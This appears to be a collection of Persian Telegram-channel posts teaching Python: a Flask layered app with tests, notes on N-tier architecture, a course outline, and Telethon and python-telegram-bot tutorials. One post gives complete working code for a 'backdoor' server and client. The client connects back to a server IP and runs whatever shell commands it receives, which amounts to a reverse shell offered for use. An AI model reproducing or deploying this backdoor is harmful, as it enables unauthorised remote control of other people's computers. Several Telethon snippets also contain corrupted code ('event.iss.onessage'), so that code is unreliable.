@app.route("/users/<int:user_id>", methods=["GET"])
def get_user(user_id: int):
    db_session = db.SessionLocal()
    user = service.get_user_by_id(db_session, user_id)
    db_session.close()
    if user:
        return jsonify({"id": user.id, "name": user.name, "email": user.email})
    return jsonify({"error": "User not found"}), 404

if name == "main":
    app.run(debug=True)

7. پیکربندی و تست 🛠️

یک فایل config.py ایجاد کنید و تنظیمات مختلف پروژه را در آن قرار دهید. این فایل می‌تواند شامل تنظیمات پایگاه داده، تنظیمات امنیتی و سایر تنظیمات مورد نیاز پروژه باشد.

برای اطمینان از عملکرد صحیح کدها، تست‌های خودکار ایجاد کنید. در پوشه tests/، فایل‌های تست خود را ایجاد کنید. به عنوان مثال، فایل test_service.py می‌تواند شامل تست‌های زیر باشد:

import unittest
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from database import db, models
from business import service

class TestService(unittest.TestCase):
    def setUp(self):
        self.engine = create_engine("sqlite:///:memory:")
        db.SessionLocal.configure(bind=self.engine)
        models.Base.metadata.create_all(bind=self.engine)
        self.db = db.SessionLocal()

    def tearDown(self):
        self.db.close()
        models.Base.metadata.drop_all(bind=self.engine)

    def test_create_user(self):
        user = service.create_new_user(self.db, name="Test User", email="[email protected]")
        self.assertEqual(user.name, "Test User")
        self.assertEqual(user.email, "[email protected]")

    def test_get_user_by_id(self):
        user = service.create_new_user(self.db, name="Test User", email="[email protected]")
        fetched_user = service.get_user_by_id(self.db, user.id)
        self.assertEqual(fetched_user.name, "Test User")
        self.assertEqual(fetched_user.email, "[email protected]")

if name == "main":
    unittest.main()

🔻اینجا میتونی پایتون رو بهتر یاد بگیری🔻

🌟 موارد استفاده از معماری چند لایه در برنامه‌نویسی

معماری چند لایه (N-Tier Architecture) یکی از الگوهای طراحی پرکاربرد و موثر در توسعه نرم‌افزارهای مدرن است. این معماری به توسعه‌دهندگان کمک می‌کند تا برنامه‌هایی مقیاس‌پذیر، قابل نگهداری و ساختارمند ایجاد کنند. در اینجا به برخی از موارد استفاده از این معماری می‌پردازیم.


📌 موارد استفاده از معماری چند لایه

1. سیستم‌های سازمانی بزرگ 🏢

سیستم‌های بزرگ و پیچیده سازمانی مانند ERP (Enterprise Resource Planning) و CRM (Customer Relationship Management) نیازمند ساختاری قابل نگهداری و مقیاس‌پذیر هستند. معماری چند لایه به این سیستم‌ها کمک می‌کند تا بخش‌های مختلف (مانند مدیریت منابع انسانی، مالی، فروش و ...) را به صورت جداگانه مدیریت کنند.

2. برنامه‌های تحت وب و اپلیکیشن‌های موبایل 🌐📱

برنامه‌های تحت وب و اپلیکیشن‌های موبایل که نیاز به تعامل با کاربران دارند، می‌توانند از معماری چند لایه بهره‌مند شوند. این معماری امکان جداسازی منطق کسب‌وکار از رابط کاربری و دسترسی به داده‌ها را فراهم می‌کند، که این امر باعث افزایش امنیت و قابلیت نگهداری برنامه می‌شود.

3. سیستم‌های مالی و بانکی 💳🏦

سیستم‌های مالی و بانکی به دلیل نیاز به امنیت بالا و پردازش‌های پیچیده، از معماری چند لایه استفاده می‌کنند. این معماری امکان جداسازی لایه‌های مختلف امنیتی، منطق تراکنش‌ها و دسترسی به داده‌ها را فراهم می‌کند، که این امر باعث افزایش امنیت و کاهش ریسک‌های امنیتی می‌شود.

4. پلتفرم‌های تجارت الکترونیک 🛒🛍️

پلتفرم‌های تجارت الکترونیک نیازمند یک ساختار قابل اعتماد و مقیاس‌پذیر هستند تا بتوانند تعداد زیادی از کاربران و تراکنش‌ها را مدیریت کنند. معماری چند لایه امکان جداسازی منطق کسب‌وکار (مانند مدیریت محصولات، سفارشات و پرداخت‌ها) از رابط کاربری و دسترسی به داده‌ها را فراهم می‌کند.

5. برنامه‌های کاربردی مبتنی بر میکروسرویس‌ها 🧩

برنامه‌های کاربردی که از معماری میکروسرویس‌ها استفاده می‌کنند، به راحتی می‌توانند با معماری چند لایه ترکیب شوند. هر میکروسرویس می‌تواند لایه‌های مختلف خود را داشته باشد، که این امر باعث افزایش انعطاف‌پذیری و قابلیت نگهداری برنامه می‌شود.

🔻اینجا میتونی پایتون رو بهتر یاد بگیری🔻

🚪 آموزش ساخت یک سرور و یک کلاینت Backdoor با پایتون


📚 مقدمه

در این آموزش، به نحوه ساخت یک سرور و کلاینت backdoor ساده با استفاده از زبان پایتون خواهیم پرداخت.


🛠️ مراحل ساخت

1. ایجاد سرور (Server)

ابتدا یک فایل به نام server.py ایجاد کنید و کد زیر را در آن قرار دهید:

import socket
import threading

# تنظیمات سرور
server_ip = '0.0.0.0'  # همه‌ی آدرس‌های IP موجود
server_port = 9999

# ایجاد سوکت
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((server_ip, server_port))
server.listen(5)
print(f'[*] Server listening on {server_ip}:{server_port}')

def handle_client(client_socket):
    while True:
        try:
            # دریافت دستور از سرور
            command = input("Shell> ")
            if command.lower() == 'exit':
                client_socket.send(b'exit')
                client_socket.close()
                break
            if len(command.strip()) > 0:
                client_socket.send(command.encode())
                response = client_socket.recv(4096)
                print(response.decode())
        except Exception as e:
            print(f"Error: {e}")
            client_socket.close()
            break

while True:
    client_socket, addr = server.accept()
    print(f'[*] Accepted connection from {addr[0]}:{addr[1]}')
    client_handler = threading.Thread(target=handle_client, args=(client_socket,))
    client_handler.start()

2. ایجاد کلاینت (Client)

حال یک فایل به نام client.py ایجاد کنید و کد زیر را در آن قرار دهید:

import socket
import subprocess

# تنظیمات کلاینت
server_ip = 'SERVER_IP_ADDRESS'  # آدرس IP سرور را جایگزین کنید
server_port = 9999

# ایجاد سوکت و اتصال به سرور
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((server_ip, server_port))

while True:
    try:
        command = client.recv(1024).decode()
        if command.lower() == 'exit':
            break
        if len(command.strip()) > 0:
            output = subprocess.check_output(command, shell=True)
            client.send(output)
    except Exception as e:
        client.send(str(e).encode())

client.close()

3. راه‌اندازی سرور و کلاینت

1. ابتدا فایل server.py را روی کامپیوتری که به عنوان سرور عمل می‌کند اجرا کنید.
2. سپس فایل client.py را روی کامپیوتری که به عنوان کلاینت عمل می‌کند اجرا کنید.

توجه داشته باشید که آدرس IP سرور را در فایل client.py به آدرس IP واقعی سرور تغییر دهید.

🔻اینجا میتونی پایتون رو بهتر یاد بگیری🔻

اینو فکر کنم بیشتر از آموزش‌های دیگه دوست داشته باشین پس ری اکشن بزنین

📚 برنامه کامل دوره آموزش پایتون از 0 تا 100

خوشحالیم که به دوره جامع آموزش پایتون از 0 تا 100 پیوستید. 🎉 این دوره برای تمامی سطوح طراحی شده و شما را از پایه تا پیشرفته به دنیای برنامه‌نویسی با پایتون می‌برد. در این پست، برنامه کامل دوره و موضوعات هر پارت را معرفی می‌کنیم. می‌توانید با کلیک روی هر موضوع، به لینک مربوطه دسترسی پیدا کنید.


1. [نصب و راه‌اندازی پایتون]
2. [متغیرها و انواع داده‌ها]
3. [عملیات ریاضی و منطقی]
4. [دستورات شرطی]
5. [لیست‌ها و تاپل‌ها]
6. [دیکشنری‌ها و مجموعه‌ها]
7. [حلقه‌ها]
8. [توابع]
9. [مدیریت فایل]
10. [مدیریت استثناء‌ها]
11. [مفاهیم پایه OOP]
12. [وراثت و پلی‌مورفیسم]
13. [ماژول‌ها و پکیج‌ها]
14. [کتابخانه‌های استاندارد پایتون]
15. [پروژه 1 - مدیریت مخاطبین]
16. [پروژه 2 - ماشین حساب پیشرفته]
17. [Decorators و Generators]
18. [مدیریت حافظه و Garbage Collection]
19. [معرفی Flask]
20. [معرفی Django]
21. [معرفی Pandas]
22. [معرفی NumPy]
23. [پروژه نهایی - تحلیل داده‌ها]
24. [جمع‌بندی و منابع بیشتر]


با دنبال کردن این دوره، شما به تسلط کامل بر پایتون خواهید رسید و قادر خواهید بود پروژه‌های کاربردی و پیشرفته را اجرا کنید. هر پارت شامل توضیحات کامل، مثال‌ها و تمرین‌های عملی است که به شما کمک می‌کند تا مفاهیم را به خوبی درک کرده و در عمل به کار ببرید.

به زودی لینک‌های هر پارت در دسترس قرار خواهند گرفت تا به راحتی بتوانید به تمامی مطالب دسترسی داشته باشید. از همراهی شما سپاسگزاریم و امیدواریم این دوره برای شما مفید و لذت‌بخش باشد. 🚀

#پایتون #آموزش_پایتون #برنامه_نویسی #دوره_آموزشی #Python #Programming #PythonCourse

📚 پارت 1: معرفی و نصب ماژول Telethon

مقدمه
ماژول Telethon یکی از قدرتمندترین کتابخانه‌های پایتون برای تعامل با API تلگرام است. با استفاده از این کتابخانه، می‌توانید بات‌ها، اسکریپت‌ها و برنامه‌های مختلفی را برای تلگرام ایجاد کنید و به راحتی پیام‌ها را ارسال و دریافت کنید، فایل‌ها را مدیریت کنید و با کاربران و گروه‌ها تعامل داشته باشید.

نصب و راه‌اندازی
برای شروع کار با Telethon، ابتدا باید این کتابخانه را نصب کنید. برای این کار می‌توانید از دستور pip استفاده کنید:

pip install telethon

دریافت API ID و API Hash
برای استفاده از Telethon، نیاز به API ID و API Hash دارید. این اطلاعات را می‌توانید از وب‌سایت [My Telegram] دریافت کنید. مراحل زیر را دنبال کنید:
1. به [My Telegram]بروید.
2. وارد حساب کاربری تلگرام خود شوید.
3. به بخش "API development tools" بروید.
4. یک اپلیکیشن جدید ایجاد کنید و API ID و API Hash خود را دریافت کنید.

ایجاد اولین اسکریپت
پس از نصب Telethon و دریافت API اطلاعات، می‌توانید اولین اسکریپت خود را ایجاد کنید. یک فایل پایتون جدید ایجاد کنید و کد زیر را در آن قرار دهید:

from telethon import TelegramClient

# اطلاعات API
api_id = 'YOUR_API_ID'
api_hash = 'YOUR_API_HASH'
phone_number = 'YOUR_PHONE_NUMBER'

# ایجاد کلاینت
client = TelegramClient('session_name', api_id, api_hash)

async def main():
    await client.start(phone_number)
    print("Client Created")

    # ارسال پیام به خود
    await client.send_message('me', 'Hello, this is a message from Telethon!')

with client:
    client.loop.run_until_complete(main())

در این اسکریپت، ابتدا کتابخانه Telethon را وارد می‌کنیم و سپس اطلاعات API و شماره تلفن خود را تنظیم می‌کنیم. سپس یک کلاینت TelegramClient ایجاد می‌کنیم و از آن برای ارسال یک پیام به خود استفاده می‌کنیم.

با مفاهیم اولیه Telethon آشنا شدیم و اسکریپت ساده برای ارسال پیام به خود ایجاد کردیم. در پارت‌های بعدی به توضیح دقیق‌تر قابلیت‌های این کتابخانه و نحوه استفاده از آن‌ها خواهیم پرداخت.

👇👇👇👇👇👇👇👇👇👇👇👇👇
🔻اینجا کلیک کن تا بیشتر یاد بگیری🔻

📚 پارت 2: ارسال و دریافت پیام با Telethon

ارسال پیام به کاربران و گروه‌ها

برای ارسال پیام به کاربران و گروه‌ها با استفاده از Telethon، می‌توانید از متد send_message استفاده کنید. این متد به شما امکان می‌دهد پیام‌هایی را به شماره تلفن‌های کاربران یا به گروه‌ها و کانال‌ها ارسال کنید. در زیر نمونه کد برای ارسال پیام به یک کاربر و یک گروه آمده است:

from telethon import TelegramClient

# اطلاعات API
api_id = 'YOUR_API_ID'
api_hash = 'YOUR_API_HASH'
phone_number = 'YOUR_PHONE_NUMBER'

# ایجاد کلاینت
client = TelegramClient('session_name', api_id, api_hash)

async def main():
    await client.start(phone_number)

    # ارسال پیام به یک کاربر
    await client.send_message('username_or_user_id', 'Hello, this is a message to a user!')

    # ارسال پیام به یک گروه
    await client.send_message('group_username_or_group_id', 'Hello, this is a message to a group!')

with client:
    client.loop.run_until_complete(main())

دریافت پیام‌ها با استفاده از event handler‌ها

برای دریافت پیام‌ها و پردازش آن‌ها، می‌توانید از event handler‌های Telethon استفاده کنید. متد on به شما این امکان را می‌دهد که یک تابع خاص برای پاسخ به رویدادها تعریف کنید. در اینجا نمونه‌ای از دریافت پیام‌ها آمده است:

from telethon import TelegramClient, events

# اطلاعات API
api_id = 'YOUR_API_ID'
api_hash = 'YOUR_API_HASH'
phone_number = 'YOUR_PHONE_NUMBER'

# ایجاد کلاینت
client = TelegramClient('session_name', api_id, api_hash)

@client.on(events.NewMessage)
async def handler(event):
    sender = await event.get_sender()
    print(f'New message from {sender.username}: {event.text}')

async def main():
    await client.start(phone_number)
    print("Client Created and listening for new messages...")

with client:
    client.loop.run_until_complete(main())

فیلتر کردن پیام‌ها بر اساس محتوای آنها

گاهی اوقات لازم است پیام‌ها را بر اساس محتوای آن‌ها فیلتر کنید. می‌توانید این کار را با بررسی محتویات پیام در تابع event handler انجام دهید. در زیر نمونه‌ای از فیلتر کردن پیام‌ها که شامل کلمه خاصی هستند، آمده است:

from telethon import TelegramClient, events

# اطلاعات API
api_id = 'YOUR_API_ID'
api_hash = 'YOUR_API_HASH'
phone_number = 'YOUR_PHONE_NUMBER'

# ایجاد کلاینت
client = TelegramClient('session_name', api_id, api_hash)

@client.on(events.NewMessage)
async def handler(event):
    if 'important' in event.text.lower():
        sender = await event.get_sender()
        print(f'Important message from {sender.username}: {event.text}')

async def main():
    await client.start(phone_number)
    print("Client Created and listening for important messages...")

with client:
    client.loop.run_until_complete(main())

نحوه ارسال و دریافت پیام‌ها را با استفاده از Telethon یاد گرفتیم و همچنین با نحوه فیلتر کردن پیام‌ها بر اساس محتوای آن‌ها آشنا شدیم. در پارت‌های بعدی، به بررسی مدیریت فایل‌ها و تعامل با کاربران و گروه‌ها خواهیم پرداخت.

👇👇👇👇👇👇👇👇👇👇👇👇👇

🔻اینجا کلیک کن تا بیشتر یاد بگیری🔻

📚 پارت 3: مدیریت فایل‌ها با Telethon

ارسال فایل‌ها به کاربران و گروه‌ها

برای ارسال فایل‌ها به کاربران و گروه‌ها با استفاده از Telethon، می‌توانید از متد send_file استفاده کنید. این متد به شما این امکان را می‌دهد که فایل‌های مختلفی مانند تصاویر، ویدیوها یا اسناد را به شماره تلفن‌های کاربران یا به گروه‌ها و کانال‌ها ارسال کنید. در زیر نمونه کد برای ارسال یک فایل به یک کاربر و یک گروه آمده است:

from telethon import TelegramClient

# اطلاعات API
api_id = 'YOUR_API_ID'
api_hash = 'YOUR_API_HASH'
phone_number = 'YOUR_PHONE_NUMBER'

# ایجاد کلاینت
client = TelegramClient('session_name', api_id, api_hash)

async def main():
    await client.start(phone_number)

    # ارسال فایل به یک کاربر
    await client.send_file('username_or_user_id', 'path/to/your/file.txt')

    # ارسال فایل به یک گروه
    await client.send_file('group_username_or_group_id', 'path/to/your/file.txt')

with client:
    client.loop.run_until_complete(main())

دریافت فایل‌ها و ذخیره آنها

برای دریافت فایل‌ها از پیام‌های دریافتی و ذخیره آن‌ها، ابتدا باید پیام‌ها را دریافت کنید و سپس فایل‌ها را از آن‌ها استخراج کرده و ذخیره کنید. در اینجا نمونه‌ای از نحوه دریافت فایل‌ها و ذخیره آن‌ها آمده است:

from telethon import TelegramClient, events
import os

# اطلاعات API
api_id = 'YOUR_API_ID'
api_hash = 'YOUR_API_HASH'
phone_number = 'YOUR_PHONE_NUMBER'

# ایجاد کلاینت
client = TelegramClient('session_name', api_id, api_hash)

@client.on(events.NewMessage)
async def handler(event):
    if event.iss.onessage.media:
        # استخراج نام فایل و مسیر ذخیره
        file_name = 'received_file'
        file_path = os.path.join('path/to/save/directory', file_name)

        # دریافت و ذخیره فایل
        await event.iss.onessage.download_media(file_path)
        print(f'File saved to {file_path}')

async def main():
    await client.start(phone_number)
    print("Client Created and listening for files...")

with client:
    client.loop.run_until_complete(main())

فیلتر کردن پیام‌های حاوی فایل

برای فیلتر کردن پیام‌ها بر اساس وجود فایل در آن‌ها، می‌توانید بررسی کنید که آیا پیام دارای رسانه است یا خیر. در زیر نمونه‌ای از نحوه فیلتر کردن پیام‌های حاوی فایل آمده است:

from telethon import TelegramClient, events
import os

# اطلاعات API
api_id = 'YOUR_API_ID'
api_hash = 'YOUR_API_HASH'
phone_number = 'YOUR_PHONE_NUMBER'

# ایجاد کلاینت
client = TelegramClient('session_name', api_id, api_hash)

@client.on(events.NewMessage)
async def handler(event):
    if event.iss.onessage.media:
        sender = await event.get_sender()
        print(f'New file message from {sender.username}')
        # استخراج نام فایل و مسیر ذخیره
        file_name = 'received_file'
        file_path = os.path.join('path/to/save/directory', file_name)

        # دریافت و ذخیره فایل
        await event.iss.onessage.download_media(file_path)
        print(f'File saved to {file_path}')

async def main():
    await client.start(phone_number)
    print("Client Created and listening for file messages...")

with client:
    client.loop.run_until_complete(main())

با نحوه ارسال و دریافت فایل‌ها با استفاده از Telethon آشنا شدیم و همچنین یاد گرفتیم که چگونه پیام‌های حاوی فایل‌ها را فیلتر کنیم. در پارت‌های بعدی، به بررسی تعامل با کاربران و گروه‌ها خواهیم پرداخت و توانایی‌های بیشتری از این کتابخانه را بررسی خواهیم کرد.

👇👇👇👇👇👇👇👇👇👇👇👇👇

🔻اینجا کلیک کن تا بیشتر یاد بگیری🔻

📚 پارت 4: تعامل با کاربران و گروه‌ها با Telethon

دریافت اطلاعات پروفایل کاربران

برای دریافت اطلاعات پروفایل کاربران، می‌توانید از متد get_entity استفاده کنید. این متد به شما امکان می‌دهد اطلاعات کاملی از یک کاربر یا گروه را دریافت کنید. در زیر نمونه‌ای از نحوه دریافت اطلاعات پروفایل یک کاربر آمده است:

from telethon import TelegramClient

# اطلاعات API
api_id = 'YOUR_API_ID'
api_hash = 'YOUR_API_HASH'
phone_number = 'YOUR_PHONE_NUMBER'

# ایجاد کلاینت
client = TelegramClient('session_name', api_id, api_hash)

async def main():
    await client.start(phone_number)
    
    # دریافت اطلاعات پروفایل کاربر
    user = await client.get_entity('username_or_user_id')
    print(f'User ID: {user.id}')
    print(f'Username: {user.username}')
    print(f'Full Name: {user.first_name} {user.last_name}')

with client:
    client.loop.run_until_complete(main())

مدیریت اعضای گروه‌ها و کانال‌ها

برای مدیریت اعضای گروه‌ها و کانال‌ها، می‌توانید از متدهای مختلفی مانند get_participants و invite_to_channel استفاده کنید. در زیر نمونه‌هایی از نحوه مدیریت اعضای گروه‌ها و کانال‌ها آورده شده است:

دریافت اعضای گروه

from telethon import TelegramClient

# اطلاعات API
api_id = 'YOUR_API_ID'
api_hash = 'YOUR_API_HASH'
phone_number = 'YOUR_PHONE_NUMBER'

# ایجاد کلاینت
client = TelegramClient('session_name', api_id, api_hash)

async def main():
    await client.start(phone_number)
    
    # دریافت اعضای گروه
    participants = await client.get_participants('group_username_or_group_id')
    for participant in participants:
        print(f'User ID: {participant.id}, Username: {participant.username}')

with client:
    client.loop.run_until_complete(main())

اضافه کردن اعضای جدید به گروه

from telethon import TelegramClient

# اطلاعات API
api_id = 'YOUR_API_ID'
api_hash = 'YOUR_API_HASH'
phone_number = 'YOUR_PHONE_NUMBER'

# ایجاد کلاینت
client = TelegramClient('session_name', api_id, api_hash)

async def main():
    await client.start(phone_number)
    
    # اضافه کردن اعضای جدید به گروه
    users_to_add = ['username1', 'username2']
    await client(InviteToChannelRequest('group_username_or_group_id', users_to_add))

with client:
    client.loop.run_until_complete(main())

ارسال پیام‌های گروهی

برای ارسال پیام به چندین گروه یا کانال به صورت همزمان، می‌توانید از متد send_message استفاده کنید و آن را در یک حلقه تکرار کنید. در زیر نمونه‌ای از نحوه ارسال پیام‌های گروهی آمده است:

from telethon import TelegramClient

# اطلاعات API
api_id = 'YOUR_API_ID'
api_hash = 'YOUR_API_HASH'
phone_number = 'YOUR_PHONE_NUMBER'

# ایجاد کلاینت
client = TelegramClient('session_name', api_id, api_hash)

async def main():
    await client.start(phone_number)

    # لیست گروه‌ها و کانال‌ها
    groups = ['group_username1', 'group_username2']
    message = 'Hello, this is a group message!'

    for group in groups:
        await client.send_message(group, message)
        print(f'Sent message to {group}')

with client:
    client.loop.run_until_complete(main())

با نحوه تعامل با کاربران و گروه‌ها با استفاده از Telethon آشنا شدیم و یاد گرفتیم که چگونه اطلاعات پروفایل کاربران را دریافت کنیم، اعضای گروه‌ها را مدیریت کنیم و پیام‌های گروهی ارسال کنیم. در پارت‌های بعدی، به بررسی مثال‌های پیشرفته و پروژه‌های کاربردی خواهیم پرداخت.

👇👇👇👇👇👇👇👇👇👇👇👇👇

🔻اینجا کلیک کن تا بیشتر یاد بگیری🔻

📚 پارت 5: مثال‌های پیشرفته با Telethon

ساخت بات تلگرام با قابلیت‌های پیشرفته

برای ساخت یک بات تلگرام با قابلیت‌های پیشرفته، ابتدا باید از Telethon استفاده کنید و سپس قابلیت‌های مختلفی را به بات خود اضافه کنید. در اینجا مثالی از یک بات ساده با قابلیت پاسخ‌دهی به پیام‌های دریافتی آمده است:

from telethon import TelegramClient, events

# اطلاعات API
api_id = 'YOUR_API_ID'
api_hash = 'YOUR_API_HASH'
phone_number = 'YOUR_PHONE_NUMBER'

# ایجاد کلاینت
client = TelegramClient('bot', api_id, api_hash)

@client.on(events.NewMessage)
async def handler(event):
    if 'hello' in event.text.lower():
        await event.reply('Hello! How can I help you today?')

async def main():
    await client.start(bot_token='YOUR_BOT_TOKEN')
    print("Bot is running...")

with client:
    client.loop.run_until_complete(main())

تعامل با API‌های دیگر با استفاده از Telethon

شما می‌توانید با استفاده از Telethon و کتابخانه‌های دیگر پایتون، با API‌های مختلف تعامل داشته باشید. در اینجا مثالی از دریافت اطلاعات آب و هوا از API یک سرویس آب و هوا و ارسال آن به کاربر آمده است:

import requests
from telethon import TelegramClient, events

# اطلاعات API
api_id = 'YOUR_API_ID'
api_hash = 'YOUR_API_HASH'
phone_number = 'YOUR_PHONE_NUMBER'
weather_api_key = 'YOUR_WEATHER_API_KEY'

# ایجاد کلاینت
client = TelegramClient('bot', api_id, api_hash)

@client.on(events.NewMessage)
async def handler(event):
    if 'weather' in event.text.lower():
        city = event.text.split('weather ')[1]
        response = requests.get(f'https://api.openweathermap.org/data/2.5/weather?q={city}&appid={weather_api_key}')
        data = response.json()
        weather = data['weather'][0]['description']
        temperature = data['main']['temp'] - 273.15
        await event.reply(f'The weather in {city} is {weather} with a temperature of {temperature:.2f}°C.')

async def main():
    await client.start(bot_token='YOUR_BOT_TOKEN')
    print("Bot is running...")

with client:
    client.loop.run_until_complete(main())

پروژه کامل: ایجاد یک بات تلگرام مدیریت گروه

در این پروژه، یک بات تلگرام برای مدیریت گروه ایجاد می‌کنیم که قابلیت‌های اضافه کردن کاربران، حذف کاربران و ارسال پیام خوش‌آمدگویی به اعضای جدید را دارد.

from telethon import TelegramClient, events
from telethon.tl.functions.channels import InviteToChannelRequest, EditBannedRequest
from telethon.tl.types import ChatBannedRights

# اطلاعات API
api_id = 'YOUR_API_ID'
api_hash = 'YOUR_API_HASH'
phone_number = 'YOUR_PHONE_NUMBER'
bot_token = 'YOUR_BOT_TOKEN'

# ایجاد کلاینت
client = TelegramClient('bot', api_id, api_hash)

@client.on(events.ChatAction)
async def handler(event):
    if event.user_added or event.user_joined:
        await event.reply(f'Welcome {event.user.first_name} to the group!')
    
    if event.user_kicked or event.user_left:
        await event.reply(f'{event.user.first_name} has left the group.')

@client.on(events.NewMessage(pattern='/add'))
async def add_user(event):
    user_to_add = event.iss.onessage.message.split(' ')[1]
    await client(InviteToChannelRequest(event.chat_id, [user_to_add]))
    await event.reply(f'{user_to_add} has been added to the group!')

@client.on(events.NewMessage(pattern='/remove'))
async def remove_user(event):
    user_to_remove = event.iss.onessage.message.split(' ')[1]
    rights = ChatBannedRights(until_date=None, view_messages=True)
    await client(EditBannedRequest(event.chat_id, user_to_remove, rights))
    await event.reply(f'{user_to_remove} has been removed from the group!')

async def main():
    await client.start(bot_token=bot_token)
    print("Bot is running and managing the group...")

with client:
    client.loop.run_until_complete(main())

با مثال‌های پیشرفته و پروژه‌های کاربردی با استفاده از Telethon آشنا شدیم. شما می‌توانید با استفاده از این کتابخانه قدرتمند، بات‌ها و برنامه‌های متنوع و پیچیده‌ای را برای تلگرام ایجاد کنید و به راحتی با کاربران و گروه‌ها تعامل داشته باشید. این پایان آموزش ماژول Telethon بود. امیدوارم که این مطالب برای شما مفید بوده باشد و بتوانید از آن‌ها در پروژه‌های خود استفاده کنید.

.

پارت ۱: آموزش ماژول python-telegram-bot

✨ ۱. معرفی ربات‌های تلگرام و کاربردهای آن‌ها

ربات‌های تلگرام ابزارهایی هستند که به کاربران امکان تعامل خودکار با سرویس‌های مختلف را می‌دهند. از ربات‌ها می‌توان برای ارسال اطلاعیه‌ها، جمع‌آوری داده‌ها، بازی‌ها و حتی فروش محصولات استفاده کرد.

✨ ۲. نصب کتابخانه python-telegram-bot

برای شروع، نیاز داریم که کتابخانه python-telegram-bot را نصب کنیم. دستور زیر را در ترمینال یا CMD وارد کنید:

pip install python-telegram-bot

✨ ۳. ایجاد ربات جدید در تلگرام و دریافت توکن

برای ساخت ربات جدید، مراحل زیر را دنبال کنید:

1. به تلگرام بروید و با @BotFather صحبت کنید.
2. دستور /newbot را ارسال کنید و دستورالعمل‌ها را دنبال کنید.
3. توکن (Token) رباتتان را دریافت کنید.

✨ ۴. نوشتن یک ربات ساده برای پاسخ به دستورات /start و /help

وارد کردن کتابخانه‌ها و تعریف توکن:

from telegram import Update
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackContext

TOKEN = 'YOUR_BOT_TOKEN'

تعریف دستورات ربات:

def start(update: Update, context: CallbackContext) -> None:
    update.message.reply_text('سلام! به ربات من خوش آمدید.')

def help_command(update: Update, context: CallbackContext) -> None:
    update.message.reply_text('چطور می‌توانم به شما کمک کنم؟')

تعریف هندلر پیام‌ها:

برای پاسخ دادن به پیام‌های متنی کاربران، نیاز به یک هندلر پیام داریم.

def echo(update: Update, context: CallbackContext) -> None:
    update.message.reply_text(update.message.text)

راه‌اندازی و اجرای ربات:

حالا باید ربات را پیکربندی کنیم تا دستورات و هندلر پیام‌ها را بشناسد و اجرا کند.

def main():
    updater = Updater(TOKEN)

    dispatcher = updater.dispatcher

    dispatcher.add_handler(CommandHandler("start", start))
    dispatcher.add_handler(CommandHandler("help", help_command))
    dispatcher.add_handler(MessageHandler(Filters.text & ~Filters.command, echo))

    updater.start_polling()
    updater.idle()

if __name__ == '__main__':
    main()

این کد رباتی ایجاد می‌کند که به دستورات /start و /help پاسخ می‌دهد و هر پیام متنی که دریافت کند را به همان صورت برمی‌گرداند. 🎉

امیدوارم از این آموزش لذت برده باشید! برای دیدن آموزش‌های بیشتر، کانال ما را دنبال کنید.
[کانال تلگرام]

#پایتون #آموزش_پایتون #ربات_تلگرام #برنامه_نویسی #python #telegram_bot

پارت ۲: مدیریت پیام‌ها و دستورات

✨ ۱. ایجاد هندلرهای مختلف برای دستورات مختلف (مثل /start, /help)

برای هر دستور، می‌توان یک هندلر تعریف کرد که به پیام‌های مربوطه پاسخ دهد. برای مثال، هندلرهای /start و /help را به صورت زیر تعریف می‌کنیم:

def start(update: Update, context: CallbackContext) -> None:
    update.message.reply_text('سلام! به ربات من خوش آمدید.')

def help_command(update: Update, context: CallbackContext) -> None:
    update.message.reply_text('چطور می‌توانم به شما کمک کنم؟')

✨ ۲. مدیریت پیام‌های متنی کاربران و پاسخ‌دهی به آن‌ها

با استفاده از یک هندلر پیام می‌توانیم پیام‌های متنی کاربران را دریافت کرده و به آن‌ها پاسخ دهیم:

def echo(update: Update, context: CallbackContext) -> None:
    update.message.reply_text(update.message.text)

✨ ۳. استفاده از فیلترها برای تشخیص نوع پیام‌ها

فیلترها می‌توانند برای تشخیص نوع خاصی از پیام‌ها استفاده شوند. برای مثال، فیلتر Filters.text & ~Filters.command فقط پیام‌های متنی غیر دستوری را انتخاب می‌کند:

dispatcher.add_handler(MessageHandler(Filters.text & ~Filters.command, echo))

✨ ۴. راه‌اندازی و اجرای ربات

همانطور که در پارت ۱ توضیح داده شد، ربات را پیکربندی کرده و اجرا می‌کنیم:

def main():
    updater = Updater(TOKEN)

    dispatcher = updater.dispatcher

    dispatcher.add_handler(CommandHandler("start", start))
    dispatcher.add_handler(CommandHandler("help", help_command))
    dispatcher.add_handler(MessageHandler(Filters.text & ~Filters.command, echo))

    updater.start_polling()
    updater.idle()

if __name__ == '__main__':
    main()

این کد به ربات اجازه می‌دهد تا به دستورات /start و /help پاسخ دهد و هر پیام متنی غیر دستوری را بازتاب دهد. 🎉

امیدوارم از این آموزش لذت برده باشید! برای دیدن آموزش‌های بیشتر، کانال ما را دنبال کنید.
[کانال تلگرام]

#پایتون #آموزش_پایتون #ربات_تلگرام #برنامه_نویسی #python #telegram_bot

پارت ۳: استفاده از پایگاه داده

✨ ۱. نصب و راه‌اندازی SQLite

برای ذخیره اطلاعات کاربران و داده‌های ربات، می‌توان از پایگاه داده SQLite استفاده کرد. ابتدا کتابخانه sqlite3 را که به صورت پیش‌فرض در پایتون موجود است، وارد می‌کنیم:

import sqlite3

✨ ۲. اتصال ربات به پایگاه داده

ابتدا باید یک پایگاه داده ایجاد کنیم و سپس به آن متصل شویم. برای این کار، یک فایل پایگاه داده به نام bot_database.db ایجاد می‌کنیم:

conn = sqlite3.connect('bot_database.db')
cursor = conn.cursor()

✨ ۳. ایجاد جداول مورد نیاز

جدول‌هایی که نیاز داریم را ایجاد می‌کنیم. برای مثال، جدولی برای ذخیره اطلاعات کاربران:

cursor.execute('''
    CREATE TABLE IF NOT EXISTS users (
        user_id INTEGER PRIMARY KEY,
        username TEXT,
        first_name TEXT,
        last_name TEXT
    )
''')
conn.commit()

✨ ۴. ذخیره اطلاعات کاربران

هنگامی که یک کاربر جدید با ربات تعامل می‌کند، اطلاعات او را در پایگاه داده ذخیره می‌کنیم. این کار را می‌توانیم در هندلر دستور /start انجام دهیم:

def start(update: Update, context: CallbackContext) -> None:
    user = update.message.from_user
    cursor.execute('''
        INSERT OR IGNORE INTO users (user_id, username, first_name, last_name)
        VALUES (?, ?, ?, ?)
    ''', (user.id, user.username, user.first_name, user.last_name))
    conn.commit()
    update.message.reply_text('سلام! به ربات من خوش آمدید.')

✨ ۵. بازیابی اطلاعات از پایگاه داده

